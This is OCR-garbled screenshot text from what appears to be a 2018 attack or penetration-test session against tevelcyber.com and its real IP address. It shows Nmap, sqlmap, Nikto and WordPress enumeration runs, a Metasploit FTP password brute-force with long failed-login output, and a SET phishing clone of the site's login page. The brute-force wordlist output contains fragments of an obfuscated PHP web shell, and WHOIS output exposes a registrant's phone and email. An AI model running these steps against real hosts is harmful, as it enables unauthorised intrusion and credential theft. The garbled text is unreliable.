Initiating NSE at 23:21
Completed NSE at 23:21, 0.005 elapsed
Read data files from: C:\Program Files (x86)\Nmap
05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nnap done: 1 IP address (1 host up) scanned in 2236.88 seconds
Raw packets sent: 3377 (119.589KB) | Revd: 2084 (99.618KB)





image12.png
* Zenmap - X
Scan Tools Profile Help
Target: |192.18530.52 ~| Profile. | Slow comprehensive scan | [scan| [Cancel
Command: | nmap -sS -sU T4 -A -y -PE -PP -PSa0,443 -PA3389 -PU4D125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52
Hosts || Services | Nmap Output Ports/Hosts Topology Host Details Scans
05 ¢ st < Port 1 Protocol ¢ State 4 Service ¢ Version <
B nse02hostgatores | @ 2t open ftp PurcFTPd
e 2 filtered ssh
@ 5 open smtp  Eximsmtpd 431
@ % tp open smtp  Eximsmtpd 431
@ s open  domain  ISC BIND 9.82rc1 (RedHat Enterprise Linux 6)
® 0 filtered http.
@ 1M tp open pop3  Dovecot pop3d
@ 14 open imap  Dovecotimapd
@ M tp filtered https
@ ©5 tp open smtp  Eximsmtpd 431
@ 7 tp open smtp  Eximsmtpd 431
@ © tp open imap  Dovecotimapd
@ ©5 tp open pop3  Dovecot pop3d
@ N tp filtered h323q931
@ 00 tp open  cisco-sccp
e 22 tp open  ssh OpenSSH 5.3 (protocol 20)
@ 1% tp open mysal  MySQL5641-841
@ 050 tep open sip
@ 08 tp open hitp
@ 200 tp open  hitp-prowy FortiGate Web Fitering Service
@ 00 tp open hitp nginc 1141
@ us tp open hitp nginc 1141
@ 5 uip open  domain  ISC BIND 9.82rc1 (RedHat Enterprise Linux 6)
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* Zenmap
Scan Tools Profile Help
| [scan]| [Goneel

Target: | 192.185.39.52 | Profile: | Slow comprehensive scan

Command: | nmap -55 -sU T4 -A -v -PE -PP -PS80,443 -PA3389 -PUA0125 -PY -g 53 —script "default or (discovery and safe)” 192.185.39.52

Hosts || Semices | Nmap Output Ports/ Hosts Topology Host Detais Scans
05 ¢ Host Hosts Viewer| Fisheye Controls] Legend | Save Graphic.
B nse202hostgatorc: - reon
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= Zenmap -

Scan Tools Profile Help
Target: |192.18530.52 ~| Profile. | Slow comprehensive scan | [scan]| [Goneel

Command: | nmap -55 -sU T4 -A -v -PE -PP -PS80,443 -PA3389 -PUA0125 -PY -g 53 —script "default or (discovery and safe)” 192.185.39.52

Hosts || Senices | Nmap Output Ports/ Hosts Topology Host Details Scans
05 ¢ Host = o0 hotgatorcom (193.18539.53]
B nse202hostgatorc: v

Filtered ports: 140 S

Closed ports: 1841

S 7
vptme T2 ‘
Sp—

IPvd: 19218539.52
IPvE: Not available
MAC:  Not available

5 Hostnames
Name - Type:  ns8202.hostgator.com - PTR.

Tt
o

Port-Protocol-State: 21 - tcp - open
Port-Protocol-State: 1~ tcp - closed
Port-Protocol-State: 22 - udp - closed
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Applications »  Places ~ erminal ~

root@kali: ~

File Edit ch Terminal Help

_I” http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:38:23

[21:38:23] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data
do you want to try URI injections in the target URL itself? [Y/n/q] y

[21:38:31] [INFO] testing connection to the target URL

sqlmap got a 302 redirect to 'https://tevelcyber.com/wp-login.php'. Do you want to follow? [Y/n] y

[21:38:40] [INFO] checking if the target is protected by some kind of WAF/IPS

redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y

[21:38:48] [INFO] testing if the target URL content is stable

[21:38:51] [WARNING] URI parameter '#1*' does not appear to be dynamic

[21:38:54] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[21:38 [INFO] testing for SQL injection on URI parameter '#1*'

[21:38 [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[21:39:12] [INFO] testing 'Boolean-based blind - Parameter replace (original value)

[21:39:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[21:39:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[21:39:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[21:39:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[21:39:21] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'

[21:39:22] [INFO] testing 'MySQL inline queries

[21:39:22] [INFO] testing 'PostgresQL inline queries

[21:39:23] [INFO] testing 'Microsoft SQL Server/Sybase inline queries

[21:39:23] [INFO] testing 'PostgresQL > 8.1 stacked queries (comment)

[21:39 [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[21:39:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)

[21:39 1 [INFO] testing ‘'Oracle stacked queries (DBMS_PIPE.RECEIVE MESSAGE - comment)'

[21:39:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'

[21:39:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'

[21:39:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'

[21:40:01] [INFO] testing 'Oracle AND time-based blind'

[21:40 [INFO] testing 'Generic UNION query (NULL) - 1 to 16 columns'

[21:40:32] [WARNING] URI parameter '#1*' does not seem to be injectable

[21:40:32] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of prot

ection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment'
[21:40:32] [WARNING] HTTP error codes detected during run
403 (Forbidden) - 1 times, 404 (Not Found) - 32 times, 466 (Not Acceptable) - 89 times

[*] shutting down at 21:40:32

rootgkali:~# [

oY= = T T

NG 2135
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Applications »  Places ~ erminal ~

root@kali: ~
File Edit View Search Terminal Help
[1NF0] target URL content is stable

[ERITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')
[21:46:31] [WARNING] HTTP error codes detected during run:
409 (Conflict) - 2 times

[*] shutting down at 21:46:31
root@kali:~# clear
root@kaliz~# sqlmap -u https://tevelcyber.com/wp-login.php --time-sec 15

H_

_I” http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:46:

3

21 [INFO] testing connection to the target URL

21 [WARNING] the web server responded with an HTTP error code (409) which could interfere with the results of the tests

21 [INFO] testing if the target URL content is stable

[21 [INFO] target URL content is stable

[21 [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in ‘www.site.com/index.php?id
21 [WARNING] HTTP error codes detected during run:

409 (Conflict) - 2 times
[*] shutting down at 21:46:45

root@kali:~# [

P o B Y O @ A N6
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Applications ~

i}

Fri 22:00

root@kali: ~
File Edit Search Terminal Help
-root+ Prepend root value to all requests, format is /directory
-ssl Force ssl mode on port
~Tuning+ Scan tuning
-timeout+ Timeout for requests (default 10 seconds
-update Update databases and plugins from CIRT.net
-version print plugin and database versions
-vhost+ Virtual host (for Host header
+ requires a value

Note: This is the short help output. Use -H for full help text

root@kali:~# nikto -h https://tevelcyber.com/wp-login/php
- Nikto v2.1.6

+ Target IP: 192.185.39.52
+ Target Hostname:  tevelcyber.com

+ Target Port: 443

+ SSL Info: Subject: /CN=tevelcyber.com
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3

+ Start Time: 2018-11-30 21:59:06 (GMTO)

+ Server: nginx/1.14.1

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.

i The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

"

ENG

54

~ s UK 30/11/2018
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erminal v Tue 1

Applications »  Places ~

root@Kali: ~/Desktop/D-TECT-1

File Edit View Search Terminal Help
-~ Menu --

WordPress Username Enumerator
Sensitive File Detector

Sub-Domain Scanner

Port Scanner

Wordpress Scanner

Cross-Site Scripting [ XSS ] Scanner
wWordpress Backup Grabber

SQL Injection [ SQLI ] Scanner

PNoUsWNE

[+] Select Option

>8
[+] Enter Domain

e.g, site.com

> tevelcyber.com
[+] Checking Status...
[i] site is up!

[+] Target Inf
URL: http://tevelcyber.com
h Leyb
| Ip: 192.185.39.52

[+] Checking if any Cloudflare is blocking access...
[+] Checking Redirection

[i] Host redirects to https://teve
Set this as default Host? [Y/N]

m,

e=block
nosniff
rver
link : <https://tevelcyber.com/wp-json/>; rel="https://api.w.org/", <https://tevelcyber.com/>; rel=shortlink

[i] Information f
| server : nginx/1.14.1

[+] [ SQLI ] Scanner Started.
[!] Not Vulnerable

[+] [Elxit or launch [Algain? (e/a)ll =

NG 1559
Wi ® © A o g B
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root@Kali: ~/Desktop/D-TECT-1
File Edit View Search Terminal Help

D-TECT - Pentest the Modern Web
. Author: Shawar Khan - ( https://shawarkhan.com )

-~ Menu --

1 WordPress Username Enumerator
2 Sensitive File Detector

3 Sub-Domain Scanner
2
5
6

Port Scanner
Wordpress Scanner
7 Wordpress Backup Grabber
8 SQL Injection [ SQLI ] Scanner

[+] select option
>
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root@Kali: ~/Desktop/D-TECT-1

File Edit arch Terminal Help
Author: Shawar Khan - ( https://shawarkhan.com

-- Menu --

WordPress Username Enumerator
Sensitive File Detector

Sub-Domain Scanner

Port Scanner

Wordpress Scanner

Cross-Site Scripting [ XSS ] Scanner
wWordpress Backup Grabber

SQL Injection [ SQLI ] Scanner

PNoUsWLNE

[+] Select Option

>6
[+] Enter Domain

e.g, site.com

> tevelcyber.com
[+] Checking Status...
[i] site is up!

[+] Target Info:
| URL: http://tevelcyber.com
| IP: 192.185.39.52

O =N

[+] Checking if any Cloudflare is blocking access...
[+] Checking Redirection
[i] Host redirects to ht //tevelcyber.com/

Set this as default Host? [Y/N]:

>y

c
N

%

+] Interesting Headers Found:
| x-xss-protection : 1; mode=block
|
|
|

m =

Xx-content-type-options : nosniff
server : nginx/1.14.1
link : <https://tevelcyber.com/wp-json/>; re

https://api.w.org/", <https://tevelcyber.com/>; rel=shortlink

[i] Information from Headers
| server : nginx/1.14.1

ENG 1556
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root@Kali: ~/Desktop/D-TECT-1

File Edit View Search Terminal Help
| Server : nginx/1.14.1

[+] Detecting Wordpress
[i] Wordpress Detected!

[+] Scan Started : Tue Dec 18 15:40:26 2018
[+] Enumeration Usernames...
[i] Found the following Username/

1
2

3 tevelcyber.com
4 tevelcyber.com
5 tevelcyber.com
6 tevelcyber.com
7 tevelcyber.com
8 tevelcyber.com
9 tevelcyber.com
10 tevelcyber.com
1 tevelcyber.com
12 tevelcyber.com
13 tevelcyber.com
14 tevelcyber.com
15 tevelcyber.com

|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
16 | tevelcyber.com
|
|
|
|
|
|
|
|
|
|
|
|
|
|

tevelcyber.com
18 tevelcyber.com
19 tevelcyber.com
20 tevelcyber.com
21 tevelcyber.com
22 tevelcyber.com
23 tevelcyber.com
24 tevelcyber.com
25 tevelcyber.com
26 tevelcyber.com
27 tevelcyber.com
28 tevelcyber.com
29 tevelcyber.com
30 tevelcyber.com

i ————— e S S

[+] Enumeration Completed
[+] Scan Ended : Tue Dec 18 15:41:49 2018

[+] [Elxit or launch [Algain? (e/a)ll
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root@Kali: ~/Desktop/D-TECT-1

File Edit arch Terminal Help
| x-content-type-options : nosniff
| server : nginx/1.14.1

| link : <https://tevelcyber.com/wp-json/>;

rel=shortlink

https://api.w.org/", <https://tevelcyber.con/;

[i] Information from Headers:
| server : nginx/1.14.1

[+] Subdomain Scanner Start!
= [+] Progress 1 / 1904 ..
[+] subdomain found!
| subdomain: mail.tevelcyber.com
| Nameserver: mail.tevelcyber.com
| Ip: 192.185.39.52

L] [+] Progress 2 / 1904 ...

[+] Subdomain found!

E | Subdomain: localhost.tevelcyber.com

| Nameserver: localhost.tevelcyber. com

| IP: 127.0.0.1

[] [!] Sub-domain is vulnerable to Same-Site Scripting!
[!] About Same-Site Scripting:

Q [!] [ https://www.acunetix.com/vulnerabilities/web/same-site-scripting ]
[+] Progress 663 / 1904 ...

[+] Subdomain found!

| Subdomain: ftp.tevelcyber.com

| Nameserver: tevelcyber.com

| IP: 192.185.39.52

®
N

%

[+] Progress 1786 / 1904 ...

[+] Subdomain found!
| subdomain: webmail.tevelcyber.com
| Nameserver: tevelcyber.com
| IP: 192.185.39.52

// [+] Progress 1862 / 1904 ...
[+] subdomain found!
| subdomain: www.tevelcyber.com

| Nameserver: tevelcyber.com
/ | IP: 192.185.39.52

m =

[+] Progress 1904 / 1904 ...
[+] [Elxit or launch [Algain? (e/a)ll

D% & L W 0@ )Rty
1545

ENG
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xt Editor v

uniscan.log

sae [=] @ @ ©
Domain Name: TEVELCYBER.COM
Registry Domain ID: 2238131330 DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.name.com

Registrar URL: htt

/www.name . com

Updated Date: 2018-03-12T13:41:09Z

Creation Date: 2018-03-12T08:44:44Z

Registrar Registration Expiration Date: 2019-03-12T08:44:44Z

Registrar: Name.com, Inc.

Registrar TANA ID: 625

Reseller:

Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID: Not Available From Registry

Registrant Name: Tevel Cyber Corps

Registrant Organization: Tevel Cyber Corps Private Limited

Registrant Street: 9/5 Valliammai Building, 4th Cross Street, Trust Puram , Kodambakkam
Registrant City: Chennai

Registrant State/Province: Tamil Nadu

Registrant Postal Code: 600024

Registrant Country: IN

Registrant Phone: +91.9841756250

Registrant Email: harish@tevelcyber.com
Registry Admin ID: Not Available From Registry
Admin Name: Tevel Cyber Corps

Admin Organization: Tevel Cyber Corps Private Limited

PlainText v Tab Width: 8 v Ln144,Col3 v s
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msanlog we =] 000
i Admin Street: 9/5 Valliammai Building, 4th Cross Street, Trust Puram , Kodambakkam
} Admin City: Chennai
} Admin State/Province: Tamil Nadu
} Admin Postal Code: 600024
} Admin Country: IN
} Admin Phone: +91.9841756250
} Admin Email: harish@tevelcyber.com
} Registry Tech ID: Not Available From Registry
} Tech Name: Tevel Cyber Corps
} Tech Organization: Tevel Cyber Corps Private Limited
} Tech Street: 9/5 Valliammai Building, 4th Cross Street, Trust Puram , Kodambakkam
} Tech City: Chennai
} Tech State/Province: Tamil Nadu
} Tech Postal Code: 600024
} Tech Country: IN
} Tech Phone: +91.9841756250
} Tech Email: harish@tevelcyber.com
} Name Server: ns8201.hostgator.com
} Name Server: ns8202.hostgator.com
} DNSSEC: unSigned
} Registrar Abuse Contact Email: abuse@name.com
} Registrar Abuse Contact Phone: +1.7203101849
} URL of the ICANN WHOIS Data Problem Reporting System: htt /wdprs.internic.net/
} >>> Last update of WHOIS database: 2018-11-30T22:20:46Z <<<
1
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root@kali: ~
File Edit ch Terminal Help

metasploit v4.17.17-dev

1817 exploits - 1031 auxiliary - 315 post

539 payloads - 42 encoders - 10 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

1
1
1
1

msf > auxiliary/scanner/ftp/ftp login
(-1 unknown command: auxiliary/scanner/ftp/ftp login

This is a module we can load. Do you want to use auxiliary/scanner/ftp/ftp_login? [y/N] quit
nsf >

nsf > use auxiliary/scanner/ftp/ftp_login

msf auxiliary(scanner/ftp/ftp_login) > msf auxiliary(ftp_login)>set rhosts 192.185.39.52

[-1 unknown command: msf.

msf auxiliary(scanner/ftp/ftp_login) > set rhosts 192.185.39.52

sts => 192.185.39.52

auxiliary(scanner/ftp/ftp_login) > set user file '/root/Downloads/usernames.txt

ser_file => /root/Downloads/usernames. txt

msf auxiliary(scanner/ftp/ftp_login) > set pass_file '/root/Downloads/pass.txt

pass_file => /root/Downloads/pass. txt

msf auxiliary(scanner/ftp/ftp_login) > set stop_on_success true

stop_on_success => true

msf auxiliary(scanner/ftp/ftp_login) > exploit

[*] 192.185.39.52:21 - 192.185.39.52:21 - Starting FTP login sweep

[1] 192.185.39.52:21 - No active DB -- Credential data will not be saved

[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:123456 (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:password (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 2345678 (Incorrect:
[-] 192.185.39.52:21 - 192.185.39. LOGIN FAILED werty (Incorrect:
[-] 192.185.39.52:21 - 192.185.39. LOGIN FAILED 23456789 (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:12345 (Incorrect:

[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:1234 (Incorrect:

[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:111111 (Incorrect

[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:1234567 (Incorrect
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:dragon (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:123123 (Incorrect:
[-] 192.185.39.52:21 - 192.185.39. LOGIN FAILED: 3d:baseball (Incorrec
[-] 192.185.39.52:21 - 192.185.39. LOGIN FAILED: 3d:abcl23 (Incorrect

[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:football (Incorrec
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:monkey (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:letmein (Incorrect
[-] 192.185.39.52:21 - 192.185.39. LOGIN FAILED: 3d:696969 (Incorrect

[-] 192.185.39.52:21 - 192.185.39. LOGIN FAILED: 3d:shadow (Incorrect

[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:master (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:666666 (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:qwertyuiop (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:123321 (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:mustang (Incorrect:
[-] 192.185.39.52:21 - 192.185.39.52: LOGIN FAILED: 3d:1234567890 (Incorrect:
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.185.39. .185.39. FAILED ell (Incorrect: ) //
e ey 7

FAILED Crailer: (TmemrrEcs ) [STATUS] 29.65 tries/min, 30329 tries g 1365701126644 767753773

active
FAILED angsta (Incorrect: ) 4
e i) (feroee: [STATUS] 29.65 tries/min, 30806 tries 5 1365701126167 767687826

et _ active
E:itgg' 'd::;}dil?§z£;ff;ét' [STATUS] 29.65 tries/min, 31283 tries B 1365761125690 767623889

active
FAILED amille (Incorrect
FAILED S e [STATUS] 29.65 tries/min, 31754 tries g 1365701125219 767706905

A active
FAILED onjour (Incorrect %
FAILED: 3d:bingo (Incorrect: ) [STATUS] 29.65 tries/min, 32230 tries 8 1365701124743 767668384

tive
FAILED barcelon (Incorrect: ) 2 % /
FAILED len (Incorrec [STATUS] . tries/min, 32706 tries : 1365701124267 767630985

active
FAILED: 3d:98765 (Incorrect:
FAILED 98989 (Incorrec [STATUS] 29.65 tries/min, 33178 tries g 1365701123795 767687201

tive
FAILED 03030 (Incorrect: ) 2
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tive
FAILED 900000 (Incorrect: ) ==
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tive
FAILED amara (Incorrect: ) 3
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7 active
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active
FAILED: 3d:richie (Incorrect:
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FATLED egaman (Incorrect: ) o3 /i
e SR (o ) [STATUS] 29.65 tries/min, 36023 tries : 1365701120950 767716395
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FAILED azz (Incorrect:
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tive
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FAILED dow (I it
FAILED ;:1:? :1:23::221 [STATUS] 29.65 tries/min, 37918 tries 8 1365701119055 767767169

active
FAILED inner (Incorrect
FAILED: 3d:sadie (Incorrect: ) [STATUS] 29.65 tries/min, 38393 tries 8 1365701118580 767754082

active
E:itig ;3;?1t51?§z£;fﬁec(' [STATUS] 29.65 tries/min, 38872 tries E 1365701118101 767662312

active
FAILED: 3d:pooper (Incorrect: N
e a2 T [STATUS] 29.65 tries/min, 39347 tries 5 1365701117626 767650809

active
E:itig i:};"?lkigﬁﬁgzeC(, [STATUS] 29.65 tries/min, 39820 tries 8 1365701117153 767678135

active
E:itig_ .1;s;n7?nii?$:£:§c: [STATUS] 29.65 tries/min, 40295 tries E 1365701116678 767666715

tive
FAILED hannibal (Incorrect 2s
D TETCELTD (Greprmeet [STATUS] 29.65 tries/min, 40772 tries E 1365701116201 767617905

FAILED rizzly (Incorrect: ic‘lve

0
0

0
0

0 0
0 0

0
0

QM =N

0
0

=

BD =

0
0

R T T T T T T
0

0
0

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
L
0

NG 1
LS MY @9 ¢ Ay gy





image33.png
Applications ~

o s tataial el el el b el lebalalalabalalabelalalbelelalabsbelalelel el el ol bbbl
BXET v
Eal o0 0 n el B D e e USROS USSR

F
E

F
B

192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
192
Scanned

185
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.

el

Places v

.52
.52
.52
.52
.52:
.52
.52
.52
.52
.52:
.52
.52
.52:
.52
.52
.52
.52
.52:
.52
.52
.52
.52
.52:
.52
.52
.52:
.52
.52
.52
.52
.52:
.52
.52
.52
.52
.52:
.52
.52
.52:
.52
.52
.52
.52

erminal v

192
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

m Y e

.39.
.39.
.39,
.39.
.39,
.39,
.39.
.39.
.39,
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39,
.39.
.39.
.39.
.39,
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39.
.39,
.39,
.39.
.39.
.39.
.39.
.39.
JECN
1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary(scanner/ftp/ftp_login) >

auxiliary(scanner/ftp/ftp_login) >

auxiliary(scanner/ftp/ftp_login) >

auxiliary(scanner/ftp/ftp_login) > [

R R R R R R R R R R R R R R R R R R R R VRN RV TR RURURT RV VR R RURURTRT RURTRTY

5:

0

0

0

0

0

0

0

0

0

FAILED
FAILED
FAILED
FAILED

FAILED:

FAILED
FAILED
FAILED
FAILED

FAILED:

FAILED
FAILED

FAILED:

FAILED
FAILED
FAILED
FAILED

FAILED:

FAILED
FAILED
FAILED
FAILED

FAILED:

FAILED
FAILED

FAILED:

FAILED
FAILED
FAILED
FAILED

FAILED:

FAILED
FAILED
FAILED
FAILED

FAILED:

FAILED
FAILED

FAILED:

FAILED
FAILED
FAILED
FAILED

abebi :<?php
abebi s

(Incorrect: )
k5CnPP=2cB6ICnp* ; fu 8 Zrlen($t=2);$'; (Incorrect:

abebi Zn()=Z; $r=@ba=Zse64: 3 t("$p$=zkh$r$kf");}'; (Incorrect:

abebi

abebi: o=

abebi b
abebi t
abebi:fw="{
abebi $
abebi:$H=st
abebi p

al(@gzunco=Zmpr=Zess(@x(@=Z'; (Incorrect:
“wfor ($=21=0; $1<$=21; )=2=2{f0=2=2r ($]=0=Z; ($]<$CE&&$1<$=2=21) ; $j++, $i++) {$0.=$t"; (Incorrect:
Zase64_decode ($m[ 1)=Z,$k)));=Z$0=@ob_get _conte=Znts(); ) X (Incorrec
r_replace('vE', ", crevEVEavEtvEeVEVE function'); (Incorrec

=7$1}"$k{$=Zj};}}=Zreturn =Z$0=Z;}if=Z(@pr=zeg match("/$kh=Z(.+=Z)$=zkf/" ,@fil=Ze =2g'; (Incorrect:

"el@adc39: $kh: 9ba59abbe56" ; $kf: e057f20f88=23e’ (Incorrect: )
r_replace('=Z','',$Y.$v.$B.$w.$t.$1.$A); (Incorrect:
("', $H);$1(); (Incorrect:

abebi:?> (Incorrect: )

abecedarian
abecedarian
abecedarian
abecedarian
abecedarian

abecedarian:

abecedarian
abecedarian
abecedarian
abecedarian
abecedarian
abecedarian
abecedarium

abecedarium:

abecedarium
abecedarium
abecedarium
abecedarium
abecedarium
abecedarium
abecedarium
abecedarium
abecedarium
abecedarium
abecedary:<
abecedar:

abecedar:
abecedar:
abecedar:
abecedar:

:<?php (Incorrect: )
' SKSCNPP=ZcB6ICNp" ; fun: ;$'; (Incorrect:
");}'; (Incorrect: )
b_s=ztart( ess(@x(@=Z'; (Incorrect:
5 ($j<$caasis (Incorrec
$J="b=Z=Zase64_decode($m[1=2=2])=Z,$k)));=Z$0=@ob_get conte=Znts();@=Zob_=Zend clea='; (Incorrect:
$p=str_replace('vE','",'crevEVEavEtvEevEVE function'); (Incorrec
w="{=751}"$k{$=Zj} return =z$0=Z; }if=Z(@pr=zeg_match("/$kh=2(. kf/",@fil=ze_=2g'; (Incorrect:
Y= $k=2="e10adc39=2" ;=2$kh="4=7=29ba59abbe56 " ; $kf==2"=2e057f20188=23e"=Z; $=Zp="=2Cq"; (Incorrect:
H=str_replace('=Z','',$Y.$v.$B.$w.$t.$].$A); (Incorrect:
:$i=5p(T',$H);$1(); (Incorrect:
?> (Incorrec
7php (Incorrec
$v="Sk5CNPP=2cB6ICNp" ; fun=2ctio=Zn x($t=2=Z,$=ZK) {$c=strien($k);$=Zl=st=z=Zrlen($t=2);$'; (Incorrect:
& ode (@x (@gzcom=Zpress 8 t("$p$=zkh$rkf");}'; (Incorrect:
et_co=zntents("php://=Zinput"),=Z$m al (@gzunco=Zmpr=Zess (@x (@ (Incorrect:
i Z1) ;$]++, $1i++) {$0. (Incorrect: )
ob_get_conte=Znts(); E X (Incorrect
:$p=str_replace('vE','",'crevEVEavEtvEevEVE function'); (Incorrect
Sw="{=Z$1}"$k{$=Zj} return =z$0=Z; }if=Z(@pr=zeg_match("/$kh=2Z(. =29'; (Incorrect:
' $k=z="e10adc39=2" ;=z$kh=" 9bas59abbe56" ; $kf==2"=Ze057f20f88=23¢ (Incorrect:
H=str_replace('=Z','',$Y.$v.$B.$w.$t.$].$A); (Incorrect:
i=$p(**,$H);$1(); (Incorrec
:?> (Incorrect:
?php (Incorrect
cB6ICnp” ; fun=2cti rlen($t=2);$'; (Incorrect:
)
mpr=Zess(@x(@=Z'; (Incorrect:
)

ntents ("php:// @ev=Zal (@gzunci

or($=2i=0;$i<$=21;) 5 ($5 Z1) ;$j++,$i++){$0.=$t'; (Unable to Connec

Zase64_decode ($m[1: ob_get_conte=Znts();@=Zob_=Zend_cle; (Unable to Connect
tr_replace('vE',"", ' crevEvEavEtvEevEVE function'); (Unable to Connect
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File Edit View Search Terminal Help
: >2

Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to
. rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
on be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

er/Tabnabbing [10.0.2.15]:10.0.2.15

/tevelcybe

_con/wp-Login.php

[*] Cloning the website: https://tevelcyber.com/wp-login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website

[*] You may need to copy /var/www/* into /var/www/html depending on where your directory structure is.
Press {return} if you understand what we're saying here.

NG 1523
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root@kali: ~/BruteXSS-1
File Edit earch Terminal Help

Brutexss - Cross-Site Scripting BruteForcer \

Author: Shawar Khan - https://shawarkhan.com

Sponsored & Supported by Netsparker Web Application Security Scanner
( https://waw.netsparker.com/?utm_source=softwaresutm medium=referral&utm_content=brand
+namesutm_campaign=generic+advert )

wordlist may give you false positives so its
better to use the wordlist which is already
provided for positive results.

.
it
=
B Note: Using incorrect payloads in the custom

[?] select method: [GIET or [P]OST (G/P): g
[?] Enter URL:

(2] > https://tevelcyber.con/

+] Checking if tevelcyber.com is

[+1

[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)
71 >

+] Using Default rdlist

+] Loading y ds m specified rdlist

[+] Bruteforce start:
[+] Bruteforce Completed.

[+] Given parameters are not vulnerable to XSS

[+] Scan Result for tevelcyber.com

[!]1 Uh oh! No parameters in URL!

[?] [Elxit or launch [Algain? (e/a)ll ]

i e v o6 e g

~ s UKX  18/12/2018
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root@kali: ~/xsssniper

File Edit Search Terminal Help

python niper.py -u https://tevelcyber.com --crawl --
